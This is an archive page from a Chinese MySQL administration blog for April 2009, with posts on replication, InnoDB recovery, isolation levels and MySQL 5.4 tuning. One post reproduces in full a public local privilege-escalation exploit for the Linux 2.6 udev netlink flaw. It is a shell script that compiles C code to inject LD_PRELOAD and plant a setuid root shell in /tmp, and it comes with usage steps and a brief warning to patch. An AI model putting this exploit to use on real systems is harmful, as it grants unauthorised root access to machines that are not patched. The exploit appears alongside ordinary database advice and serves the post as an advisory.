存档

2009年4月 的存档

update更新数字主键的时候可能导致主从(master/slave)复制中断

2009年4月30日 谭俊青 1 条评论
– 准备工作
CREATE TABLE `t_ivan_innodb` (
  `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  `f_c` varchar(64) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT charset=latin1;

CREATE TABLE `t_ivan_myisam` (
  `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  `f_c` varchar(64) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=Myisam DEFAULT charset=latin1;

INSERT INTO t_ivan_innodb(f_c) VALUES();
INSERT INTO t_ivan_innodb(f_c) VALUES();
INSERT INTO t_ivan_innodb(f_c) VALUES();
DELETE FROM t_ivan_innodb WHERE id=1;

INSERT INTO t_ivan_myisam(f_c) VALUES();
INSERT INTO t_ivan_myisam(f_c) VALUES();
INSERT INTO t_ivan_myisam(f_c) VALUES();
DELETE FROM t_ivan_myisam WHERE id=1;

– ——————————————-

root:ivan> UPDATE t_ivan_innodb SET id=id-1 WHERE id>1;
Query OK, 2 rows affected (0.00 sec)
Rows matched: 2  Changed: 2  Warnings: 0

root:ivan> UPDATE t_ivan_myisam SET id=id-1 WHERE id>1;
Query OK, 2 rows affected (0.00 sec)
Rows matched: 2  Changed: 2  Warnings: 0

– 可见默认在物理记录数序没有打乱的时候,默认是asc的,更新都正常
– ——————————————–

DROP TABLE t_ivan_innodb;
DROP TABLE t_ivan_myisam;
– 重新创建和插入记录

root:ivan> UPDATE t_ivan_innodb SET id=id-1 WHERE id>1 ORDER BY id DESC;
ERROR 1062 (23000): Duplicate entry ’2′ FOR KEY ‘PRIMARY’

root:ivan> UPDATE t_ivan_myisam SET id=id-1 WHERE id>1 ORDER BY id DESC;
ERROR 1062 (23000): Duplicate entry ’2′ FOR KEY ‘PRIMARY’

– desc排序的时候肯定错误
– ———————————————

– 下面插入数据故意打乱

INSERT INTO t_ivan_innodb(id) VALUES(2);
INSERT INTO t_ivan_innodb(id) VALUES(3);
INSERT INTO t_ivan_innodb(id) VALUES(4);
INSERT INTO t_ivan_innodb(id) VALUES(7);
INSERT INTO t_ivan_innodb(id) VALUES(6);
INSERT INTO t_ivan_innodb(id) VALUES(5);

INSERT INTO t_ivan_myisam(id) VALUES(2);
INSERT INTO t_ivan_myisam(id) VALUES(3);
INSERT INTO t_ivan_myisam(id) VALUES(4);
INSERT INTO t_ivan_myisam(id) VALUES(7);
INSERT INTO t_ivan_myisam(id) VALUES(6);
INSERT INTO t_ivan_myisam(id) VALUES(5);

root:ivan> UPDATE t_ivan_innodb SET id=id-1 WHERE id>1;
Query OK, 6 rows affected (0.00 sec)
Rows matched: 6  Changed: 6  Warnings: 0

root:ivan> UPDATE t_ivan_myisam SET id=id-1 WHERE id>1;
ERROR 1062 (23000): Duplicate entry ’6′ FOR KEY ‘PRIMARY’
 


小结:更新数字主键+ – 的时候需要注意逻辑顺序,如果物理上的数据跟逻辑不匹配会导致sql语句出错
这样如果master是innodb,而slave是myisam引擎的时候,会导致复制中断。

分类: MySQL 标签:

Innodb由idb数据文件恢复数据

2009年4月28日 谭俊青 没有评论

这里提供一个简单的办法:

1:在新的实例中创建相同的表结构
2:修改/etc/my.cnf,在mysqld段加入 innodb_force_recovery=6 #具体选择多少请参考手册
3:关闭mysqld
4:覆盖备份的idb文件
5:启动mysqld
 

这时候你会发现数据已经可以读取了。

这里有个技巧,在正常关机的情况下备份idb文件,这种方法可以做到直接copy实现数据迁移,不推荐使用。

分类: MySQL 标签:

Innodb如何查看剩余表空间?

2009年4月27日 谭俊青 3 条评论

在 Myisam 和 Innodb Innodb_file_per_table 独立表空间的情况下,只需要查看磁盘剩余空间,再配合统计出来的数据增长速率就可以对磁盘空间进行预警,提前解决隐患。
那么在预分配共享表空间的情况下查看剩余表空间:

USE test
CREATE TABLE ivan(i int NOT NULL) engine=innodb;
SHOW TABLE STATUS LIKE ‘ivan’;
 

结果类似:

root:test> show table status like ‘ivan’\G
*************************** 1. row ***************************
           Name: ivan
         Engine: InnoDB
        Version: 10
     Row_format: Compact
           Rows: 0
 Avg_row_length: 0
    Data_length: 16384
Max_data_length: 0
   Index_length: 0
      Data_free: 514817261568
 Auto_increment: NULL
    Create_time: 2009-04-27 13:32:02
    Update_time: NULL
     Check_time: NULL
      Collation: latin1_swedish_ci
       Checksum: NULL
 Create_options:
        Comment:
1 row in set (0.00 sec)
 

由Data_free可以看到剩余的表空间,转载请注明出处和链接地址。

分类: MySQL 标签:

[MySQL5.1] Master上批量将Myisam引擎转Innodb

2009年4月24日 谭俊青 1 条评论


Author:ivan@mysqlab.net

\! rm -f /tmp/ivan_alter.sql #预删除临时文件,方式下面的语句无法写入

SELECT concat(‘alter table `’, TABLE_SCHEMA, ‘`.`’, TABLE_NAME, ‘` engine=innodb;’)
FROM information_schema.TABLES
WHERE ENGINE=‘Myisam’ AND
      TABLE_SCHEMA<>‘mysql’ AND
      TABLE_SCHEMA<>‘information_schema’
INTO OUTFILE ‘/tmp/ivan_alter.sql’ ;

source /tmp/ivan_alter.sql

\! rm -f /tmp/ivan_alter.sql #执行完后删除临时文件
 

分类: MySQL 标签:

Linux 内核2.6权限提升漏洞

2009年4月24日 谭俊青 没有评论

http://www.milw0rm.com/exploits/8478

#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a ‘cat /proc/net/netlink’
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid – 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it does not work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0

int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;

main(int argc, char **argv) {
        char sysfspath[SHORT_STRING];
        char subsystem[SHORT_STRING];
        char event[SHORT_STRING];
        char major[SHORT_STRING];
        char minor[SHORT_STRING];

        sprintf(event, "add");
        sprintf(subsystem, "block");
        sprintf(sysfspath, "/dev/foo");
        sprintf(major, "8");
        sprintf(minor, "1");

        memset(&address, 0, sizeof(address));
        address.nl_family = AF_NETLINK;
        address.nl_pid = atoi(argv[1]);
        address.nl_groups = 0;

        msg.msg_name = (void*)&address;
        msg.msg_namelen = sizeof(address);
        msg.msg_iov = &iovector;
        msg.msg_iovlen = 1;

        socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
        bind(socket_fd, (struct sockaddr *) &address, sizeof(address));

        char message[LONG_STRING];
        char *mp;

        mp = message;
        mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
        mp += sprintf(mp, "ACTION=%s", event) +1;
        mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
        mp += sprintf(mp, "MAJOR=%s", major) +1;
        mp += sprintf(mp, "MINOR=%s", minor) +1;
        mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
        mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

        iovector.iov_base = (void*)message;
        iovector.iov_len = (int)(mp-message);

        char *buf;
        int buflen;
        buf = (char *) &msg;
        buflen = (int)(mp-message);

        sendmsg(socket_fd, &msg, 0);

        close(socket_fd);

        sleep(10);
        execl("/tmp/suid", "suid", (void*)0);
}

_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 setgid(0);
 setuid(0);
 unsetenv("LD_PRELOAD");
 execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1

# milw0rm.com [2009-04-20]
 


ps -ef | grep udev
sh tmp.sh pid减1
 


在关键服务器上,赶紧升级.

分类: 未分类 标签:

MySQL 5.4的新特性解析

2009年4月23日 谭俊青 4 条评论

Author: Ivan@mysqlab.net/谭俊青 转载请注明来源URI链接:

http://www.mysqlab.net/blog/2009/04/mysql-54的新特性解析/

MySQL 5.4 之所以命名为5.4,而不是5.2 是因为之前的5.2版本被命名为6.0了(这个应该是商业上的原因,就像java1.6被命名为6.0)。现在的5.4 preview release 是在当前MySQL5.1的基础上,对 Innodb 进行了一些优化,这些补丁来自google,包括:InnodbIoTuning, InnodbAsyncIo, InnodbStatus , NewShowInnodbStatus , SmpPerformance 等。

从所打的那些补丁,我们可以看出,对innodb做了很多优化,特别是io的优化和smp多核cpu的优化。

下面就一些新增参数和默认值的更改做些说明:

innodb_io_capacity

这个在之前的innodb版本中是被写死的,默认值是100,在5.4中默认值已经改成200。

innodb_extra_dirty_writes

这个是非常有用的一个特性,当服务器资源idle的时候,会做checkpoint,将脏数据页写入表空间,及时没有到达设置的比例(innodb_dirty_pages_pct,innodb_max_dirty_pages_pct)。

innodb_buffer_pool_size

默认值由原来的8M改为1G,其实在大些的db中,这个还是远远不够的。可以将1半,甚至2/3的内存用在这上面。

innodb_log_file_size

默认值增至128M 在磁盘性能好些的机器上,应该还要增加,配合innodb_dirty_pages_pct, 以实现更加好的性能。

innodb_thread_concurrency

Innodb中的并发控制参数,默认值由8改0,这个都得以于google的smpperformance补丁,以前并发超过8时,性能基本上会下降。

另外需要提醒的是:目前MySQL5.4还是preview release,不建议用于生产环境。

分类: MySQL, MySQL HA 标签:

事务隔离级别导致锁级别的不同

2009年4月22日 谭俊青 1 条评论



Author: ivan@mysqlab.net
MySQL支持4种事务隔离级别,他们分别是:

READ-UNCOMMITTED, READ-COMMITTED, REPEATABLE-READ, SERIALIZABLE.
 



如没有指定,MySQL默认采用的是REPEATABLE-READ
ORACLE默认的是READ-COMMITTED

MySQL在REPEATABLE-READ和READ-COMMITTED在某些情况下会表现出不同的锁级别,下面举例说明。

首先创建测试表

CREATE TABLE ivan(
  f_id int UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
  f_content varchar(32) NOT NULL DEFAULT
) engine=innodb DEFAULT charset=latin1;

INSERT INTO ivan(f_id, f_content) VALUES(1, ‘http://www.mysqlab.net’);
INSERT INTO ivan(f_id, f_content) VALUES(1, ‘http://www.mysqlab.net/blog/’);
INSERT INTO ivan(f_id, f_content) VALUES(1, ‘http://www.mysqlab.net/bbs/’);
 

#session 1

SET tx_isolation=‘REPEATABLE-READ’;
SET auto_commit=0;
UPDATE ivan SET f_content= WHERE f_content=‘http://www.mysqlab.net’;
 

#session 2

SET tx_isolation=‘REPEATABLE-READ’;
UPDATE ivan SET f_content= WHERE f_content=‘http://www.mysqlab.net/blog/’;
 

这时候你会发现,#session2 一直等待,直到#session1 commit之后,#session2才会返回,但是如果f_content存在索引,则会立即返回结果。这些是基于REPEATABLE-READ的测试,在READ-COMMITTED的情况下则表现和oracle一样,update会立即完成并返回结果。



#session 1

SET tx_isolation=‘READ-COMMITTED’;
SET auto_commit=0;
UPDATE ivan SET f_content= WHERE f_content=‘http://www.mysqlab.net’;
 

#session 2

SET tx_isolation=‘READ-COMMITTED’;
UPDATE ivan SET f_content= WHERE f_content=‘http://www.mysqlab.net/bbs/’;
 



总结:MySQL 在innodb等事务引擎的情况下,如果没有特殊要求,可以将默认的事务隔离级别设置为 READ-COMMITTED
或者开启 innodb_locks_unsafe_for_binlog

transaction_isolation = READ-COMMITTED
innodb_locks_unsafe_for_binlog=On
 

另外,涉及到的条件更新尽量建索引,这样一来对主键的选择就要严格控制,以便充分利用好宝贵的内存资源,因为innodb采用的是cluster index,其他索引都会带上它。

分类: MySQL 标签:

Linux C Function 参考手册

2009年4月20日 谭俊青 没有评论
分类: C 标签:

wordpress更改目录之后上传文件出现问题的解决办法

2009年4月20日 谭俊青 没有评论

因为上传文件位置是写在数据库中的,因此要更新数据库

update mysqlab.blog_options set option_value=’/path/to/your/blog/wp-content/uploads’ where option_name=’upload_path’\G

分类: 未分类 标签:

Drizzle Client & Protocol Library

2009年4月20日 谭俊青 没有评论

之所以我比较关注libdrizzle是因为其兼容mysql协议,并且支持非堵塞执行sql,我的mystate.monitor正好需要。

另外它是BSD协议的,支持多server并发处理等

原文:http://www.oddments.org/?p=38

目前是0.2版本,下载地址:https://launchpad.net/libdrizzle/+download

编译:http://drizzle.org/wiki/Compiling#libdrizzle

api调用在源码里面有examples,非常cool!

分类: MySQL, MySQL HA 标签:

DBOA数据库自动化管理系统

2009年4月14日 谭俊青 没有评论

这次在chinaunix上看大家对这个系统中的备份部分表现出很大的兴趣。

dboa数据库自动化系统截图

dboa数据库自动化系统截图

更多图片及讨论至: http://www.mysqlab.net/bbs/viewthread.php?tid=2

分类: MySQL 标签:

OnlineDataDrift 主从数据一致性校验

2009年4月14日 谭俊青 2 条评论

对于mysql主从数据一致性一直是大家所关注的,但是苦于没有很好的解决办法,google提供了一个非常好的补丁 OnlineDataDrift

这个补丁的原理:

针对每张表会产生一个checksum的校验sql序列,然后执行它们,并将结果插入到特定表中。

同时这些执行的sql语句会被写入到binlog,从而会在所有slave的同一个status点上执行,也将结果插入到特定表中

当这些sql执行完之后,会比较这些特定的记录,从而找出不一致的数据。

reference:  http://code.google.com/p/google-mysql-tools/wiki/OnlineDataDrift

分类: MySQL HA, MySQL Replication 标签:

MySQL5.1中惊现ibm db2引擎

2009年4月9日 谭俊青 1 条评论

从官方网站http://dev.mysql.com/downloads/mysql/5.1.html#downloads 下载源码

解压后你会发现 strorage 目录下有 个 ibmdb2i 目录

ibmdb2i引擎

ibmdb2i引擎

分类: MySQL 标签:

mysql ha 相对完整的方案快要面世了

2009年4月3日 谭俊青 11 条评论

方案采用google的replication semi-sync patch 保证数据的一致性
A <-> B 互成salve
写针对vip 由 heartbeat / keepalive 控制
负责服务监控是自己写的一个daemon,当监控到服务不可用时,让heartbeat / keepalive 切换vip 到backup上,backup 接管之后,应用完日志即可启用对外服务。

当然,当中有很多细节,比如如何判断服务可用性以及切换之后什么条件下才能让backup接管,保证数据的完整。
以及在原来的master起来之后,让它成为当前db的backup…

周末整理,然后发布出来,算是下周的任务文章。

分类: MySQL HA 标签: